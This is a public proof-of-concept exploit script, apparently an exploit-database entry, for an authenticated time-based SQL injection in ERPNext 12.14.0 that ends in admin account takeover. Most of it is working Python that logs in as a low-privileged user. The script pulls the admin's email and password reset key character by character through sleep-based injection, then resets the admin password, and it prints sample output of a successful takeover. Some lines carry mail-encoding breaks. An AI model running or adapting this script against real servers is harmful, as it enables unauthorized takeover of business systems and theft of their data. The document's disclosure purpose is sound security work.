# Exploit Title: ERPNext 12.14.0 - SQL Injection (Authenticated) # Date: 21-01-21 # Exploit Author: Hodorsec # Vendor Homepage: http://erpnext.org # Software Link: https://erpnext.org/download # Version: 12.14.0 # Tested on: Ubuntu 18.04 #!/usr/bin/python3 # AUTHENTICATED SQL INJECTION VULNERABILITY # In short: # Found an authenticated SQL injection when authenticated as a low-privileged user as the parameters "or_filter" and "filters" are not being sanitized sufficiently. Although several sanitation and blacklist attempts are used in the code for other parameters, these parameters aren't checked. This allows, for example, a retrieval of the admin reset token and reset the admin account using a new password as being shown in the PoC. # # Longer story: # Via the "frappe.model.db_query.get_list" CMD method, it's possible to abuse the "or_filters" parameter to successfully exploit a blind time-based SQL injection using an array/list as parameter using '["{QUERY}"]', where {QUERY} is any unfiltered SQL query. # The "or_filters" parameter is used as part of the SELECT query, along with parameters "fields", "order_by", "group_by" and "limit". When entering any subselect in the "or_filters" or "filters" parameter, no checks are being made if any blacklisted word is being used. # Initially, the requests where performed using the HTTP POST method which checks for a CSRF token. However, converting the request to an HTTP GET method, the CSRF token isn't required nor checked. # Test environment: # Tested against the latest development OVA v12 and updated using 'bench update', which leads to Frappe / ERPNext version v12.14.0. # Cause: # In "apps/frappe/frappe/model/db_query.py" the HTTP parameters "filters" and "or_filters" aren't being sanitized sufficiently. # STEPS NOT INCLUDED IN SCRIPT DUE TO MAILSERVER DEPENDENCY # 1. Create account # 1.a. Use update-password link for created user received via mail # STEPS INCLUDED IN SCRIPT # 1. Login using existing low-privileged account # 2. Use SQL Injection vulnerability in "frappe/frappe/nodel/db_query/get_list" function by not sanitizing parameters "filters" and "or_filters" sufficiently # 3. Retrieve reset key for admin user # 4. Reset admin account using given password # DEMONSTRATION # $ python3 poc_erpnext_12.14.0_auth_sqli_v1.0.py hodorhodor@nowhere.local passpass1234@ admin password123411111 http://192.168.252.8/ 2 # [*] Got an authenticated session, continue to perform SQL injection... # [*] Retrieving 1 row of data using username 'admin' column 'name' and 'tabUser' as table... # admin@nowhere.local # [*] Retrieved value 'admin@nowhere.local' for username 'admin' column 'name' in row 1 # [*] Sent reset request for 'admin@nowhere.local # [*] Retrieving 1 row of data using username 'admin' column 'reset_password_key' and 'tabUser' as table... # xPjkMvdbRhdFdBi0l70jYQmTDNj8G9zX # [*] Retrieved value 'xPjkMvdbRhdFdBi0l70jYQmTDNj8G9zX' for username 'admin' column 'reset_password_key' in row 1 # [+] Retrieved email 'admin@nowhere.local' and reset key 'xPjkMvdbRhdFdBi0l70jYQmTDNj8G9zX' # [+} RESETTED ACCOUNT 'admin@nowhere.local' WITH NEW PASSWORD 'password123=411111! # # [+] Done! import requests import urllib3 import os import sys import re # Optionally, use a proxy # proxy = "http://<user>:<pass>@<proxy>:<port>" proxy = "" os.environ['http_proxy'] = proxy os.environ['HTTP_PROXY'] = proxy os.environ['https_proxy'] = proxy os.environ['HTTPS_PROXY'] = proxy # Disable cert warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Set timeout timeout = 30 # Injection prefix and suffix inj_prefix = "[\"select(sleep(" inj_suffix = "))))\"]" # Decimal begin and end dec_begin = 48 dec_end = 57 # ASCII char begin and end ascii_begin = 32 ascii_end = 126 # Handle CTRL-C def keyboard_interrupt(): """Handles keyboardinterrupt exceptions""" print("\n\n[*] User requested an interrupt, exiting...") exit(0) # Custom headers def http_headers(): headers = { 'User-Agent': "Mozilla", } return headers # Get an authenticated session def get_session(url,headers,email,password): data = {'cmd':'login', 'usr':email, 'pwd':password, 'device':'desktop'} session = requests.session() r = session.post(url,headers=headers,data=data,timeout=timeout,= allow_redirects=True,verify=False) if "full_name" in r.text: return session else: print("[!] Unable to get an authenticated session, check credentials...") exit(-1) # Perform the SQLi call for injection def sqli(url,session,headers,inj_str,sleep): comment_inj_str = re.sub(" ","+",inj_str) inj_params = {'cmd':'frappe.model.db_query.get_list', 'filters':'["idx=1"]', 'or_filters':inj_str, 'fields':'idx', 'doctype':'Report', 'order_by':'idx', 'group_by':'idx'} # inj_params[param] = comment_inj_str inj_params_unencoded = "&".join("%s=%s" % (k,v) for k,v in inj_para= ms.items()) =20 # Do GET r = session.get(url,params=inj_params,headers=headers,timeout=t= imeout,verify=False) res = r.elapsed.total_seconds() if res >= sleep: return True elif res < sleep: return False else: print("[!] Something went wrong checking responses. Check responses manually. Exiting.") exit(-1) # Loop through positions and characters def get_data(url,session,headers,prefix,suffix,row,column,table,username,sleep): extracted = "" max_pos_len = 35 # Loop through length of string # Not very efficient, should use a guessing algorithm for pos in range(1,max_pos_len): # Test if current pos does have any valid value. If not, break direction = ">" inj_str = prefix + inj_prefix + str(sleep) + "-(if(ord(mid((select ifnull(cast(" + column + " as NCHAR),0x20) from " + table + " where username = '" + username + "' LIMIT " + str(row) + ",1)," + str(pos) + ",1))" = + direction + str(ascii_begin) + ",0," + str(sleep) + inj_suffix + suffix if not sqli(url,session,headers,inj_str,sleep): break # Loop through ASCII printable characters direction = "=" for guess in range(ascii_begin,ascii_end+1): extracted_char = chr(guess) inj_str = prefix + inj_prefix + str(sleep) + "-(if(ord(mid((select ifnull(cast(" + column + " as NCHAR),0x20) from " + table + " where username = '" + username + "' LIMIT " + str(row) + ",1)," + str(pos) + ",1))" + direction + str(guess) + ",0," + str(sleep) + inj_suffix + suffix if sqli(url,session,headers,inj_str,sleep): extracted += chr(guess) print(extracted_char,end='',flush=True) break return extracted def forgot_password(url,headers,sqli_email): data = {'cmd':'frappe.core.doctype.user.user.reset_password', 'user':sqli_email} r = requests.post(url,headers=headers,data=data,verify=False,al= low_redirects=False,timeout=timeout) if "Password reset instructions have been sent to your email" in r.text= : return r def reset_account(url,headers,sqli_email,sqli_reset_key,new_password): data = {'key':sqli_reset_key, 'old_password':'', 'new_password':new_password, 'logout_all_sessions':'0', 'cmd':'frappe.core.doctype.user.user.update_password'} r = requests.post(url,headers=headers,data=data,verify=False,al= low_redirects=False,timeout=timeout) if r.status_code == 200: return r # Main def main(argv): if len(sys.argv) == 7: email = sys.argv[1] password = sys.argv[2] username = sys.argv[3] new_password = sys.argv[4] url = sys.argv[5] sleep = int(sys.argv[6]) else: print("[*] Usage: " + sys.argv[0] + " <email_login> <passw_login> <username_to_reset> <new_password> <url> <sleep_in_seconds>") print("[*] Example: " + sys.argv[0] + " hodorhodor@nowhere.local passpass1234@ admin password1234@ http://192.168.252.8/ 2\n") exit(0) # Random headers headers = http_headers() # Sleep divide by 2 due to timing caused by specific DBMS query sleep = sleep / 2 # Optional prefix / suffix prefix = "" suffix = "" # Tables / columns / values table = 'tabUser' columns = ['name','reset_password_key'] sqli_email = "" sqli_reset_key = "" # Rows rows = 1 # Do stuff try: # Get an authenticated session session = get_session(url,headers,email,password) if session: print("[*] Got an authenticated session, continue to perform SQL injection...") =20 # Getting values for found rows in specified columns for column in columns: print("[*] Retrieving " + str(rows) + " row of data using username '" + username + "' column '" + column + "' and '" + table + "' as table...") for row in range(0,rows): retrieved = get_data(url,session,headers,prefix,suffix,ro= w,column,table,username,sleep) print("\n[*] Retrieved value '" + retrieved + "' for username '" + username + "' column '" + column + "' in row " + str(row+1)) if column == 'name': sqli_email = retrieved # Generate a reset token in database if forgot_password(url,headers,sqli_email): print("[*] Sent reset request for '" + sqli_email + "'"= ) else: print("[!] Something went wrong sending a reset request, check requests or listening mail server...") exit(-1) elif column == 'reset_password_key': sqli_reset_key = retrieved # Print retrieved values print("[+] Retrieved email '" + sqli_email + "' and reset key '" + = sqli_reset_key + "'") # Reset the desired account if reset_account(url,headers,sqli_email,sqli_reset_key,new_password= ): print("[+} RESETTED ACCOUNT '" + sqli_email + "' WITH NEW PASSWORD '" + new_password + "'") else: print("[!] Something went wrong when attempting to reset account, check requests: perhaps password not complex enough?") exit(-1) =20 # Done print("\n[+] Done!\n") except requests.exceptions.Timeout: print("[!] Timeout error\n") exit(-1) except requests.exceptions.TooManyRedirects: print("[!] Too many redirects\n") exit(-1) except requests.exceptions.ConnectionError: print("[!] Not able to connect to URL\n") exit(-1) except requests.exceptions.RequestException as e: print("[!] " + str(e)) exit(-1) except requests.exceptions.HTTPError as e: print("[!] Failed with error code - " + str(e.code) + "\n") exit(-1) except KeyboardInterrupt: keyboard_interrupt() exit(-1) # If we were called as a program, go execute the main function. if __name__ == "__main__": main(sys.argv[1:]) # Timeline: # 22-12-20: Sent initial description and PoC via https://erpnext.com/security # 08-01-21: No reply nor response received, sent reminder via same form. Sent Twitter notifications. # 21-01-21: No response received, public disclosure